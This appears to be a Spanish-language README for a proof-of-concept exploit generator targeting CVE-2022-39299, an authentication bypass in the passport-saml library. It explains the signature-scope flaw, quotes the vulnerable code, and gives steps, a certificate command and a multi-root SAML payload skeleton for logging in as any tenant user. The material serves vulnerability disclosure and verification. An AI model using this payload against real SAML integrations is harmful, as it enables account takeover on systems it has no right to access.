
Un sencillo generador de exploits PoC para CVE-2022-39299 que permite omitir la autenticación en integraciones SAML SSO mediante versiones vulnerables de passport-saml.
Aviso : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Parche : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Ejemplo de payload base extraído de los casos de prueba de node-saml: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
Autor del bug: felixwilhelm
Autor del generador de exploits (la parte fácil): Francesco Lacerenza
Un atacante remoto podría eludir la autenticación SAML SSO en una plataforma explotando CVE-2022-39299, que afecta a la librería passport-saml.
No había un exploit público disponible (al momento de escribir esto), y el aviso se publicó el 10/12/2022 con poca o ninguna información. Doyensec desarrolló un generador funcional de Prueba de Concepto (PoC) para verificar el problema en plataformas multi-tenant en las que el administrador del tenant puede configurar SAML SSO con un IdP personalizado.
Como se indica en el aviso:
Un ataque exitoso requiere que el atacante posea un elemento XML firmado por un IdP arbitrario. Dependiendo del IdP utilizado, los ataques totalmente no autenticados (es decir, sin acceso a un usuario válido) también podrían ser factibles si se puede provocar la generación de un mensaje firmado.
La verificación vulnerable se encuentra dentro de la función validatePostResponse en passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
En particular, validateSignature comprueba que doc.documentElement, en el documento XML completo, contenga una firma válida. Dado que la propiedad documentElement devuelve el primer nodo raíz del documento, solo verificará la firma en el primer elemento raíz.
La función continúa verificando que solo haya una aserción dentro del XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
Como resultado, el analizador XML analizará un documento XML con múltiples raíces. Mientras que una firma solo puede aplicarse a un único nodo raíz, XPath puede recorrer múltiples nodos raíz para encontrar elementos de autenticación y autorización.
En conclusión, un nodo raíz puede estar firmado (por ejemplo, un Mensaje de Error SAML Genérico) y otro nodo no firmado podría contener información de autenticación y autorización modificable. De esta manera, el atacante puede alterar la información de autenticación y obtener acceso a cualquier cuenta dentro del tenant.
NOTA: El éxito de la explotación depende completamente de la lógica de autenticación interna relacionada con el uso de la librería passport. Si la lógica de autenticación confía plenamente en el objeto de sesión autenticada resultante de passport.authenticate(...PASSPORT-SAML_OPTIONS...), entonces es probable que sea vulnerable.
openssl en la carpeta del generador de PoC:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternativamente, usa los que se encuentran en este repositorio.
En la plataforma objetivo, navega como administrador al panel de Integración SAML SSO. Luego, configura el certificado utilizado para validar las firmas del IdP como el que se encuentra en esta carpeta.
Configura payload_appendix.xml con los elementos authn y authz que la plataforma necesita para autenticar a los usuarios SAML SSO. Puedes encontrar esa información en la documentación o creando una integración SSO funcional para aprender los elementos de autenticación válidos.
Ejecuta el siguiente comando para generar una respuesta SAML firmada con múltiples elementos raíz que contenga tus datos manipulados.
python3 payloadGenerator.py
La respuesta SAML con múltiples elementos raíz tiene la siguiente estructura:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
NOTA: Si quieres explotar este problema cuando no tienes acceso a la configuración del IdP, solo modifica payloadGenerator.py sustituyendo la variable signed_base_payload_unicode utilizada para construir el payload final. Para que funcione, debes sustituirla por una Respuesta SAML firmada que no contenga aserciones. Buena suerte encontrando una forma de obtenerla del IdP objetivo (la lógica se aplica caso por caso y no existe literatura al respecto).
En organizaciones con la Integración SAML SSO habilitada, los atacantes podrían eludir la autenticación e iniciar sesión como cualquier usuario del tenant.
A pesar de que el aviso afirma que el atacante podría utilizar "un elemento XML firmado por un IdP arbitrario", la librería passport-saml impide cualquier mensaje XML que contenga múltiples aserciones (ver el fragmento de código en la sección de descripción). Esta limitación obliga al atacante a obtener un mensaje SAML firmado que no contenga una aserción, como un mensaje de error. La presencia de dichos mensajes depende de la implementación del IdP.
Como ejemplo, las respuestas SAML sin aserciones son compatibles directamente con la librería node-samlp de Auth0.
Ver en https://github.com/auth0/node-samlp/blob/master/lib/samlp.js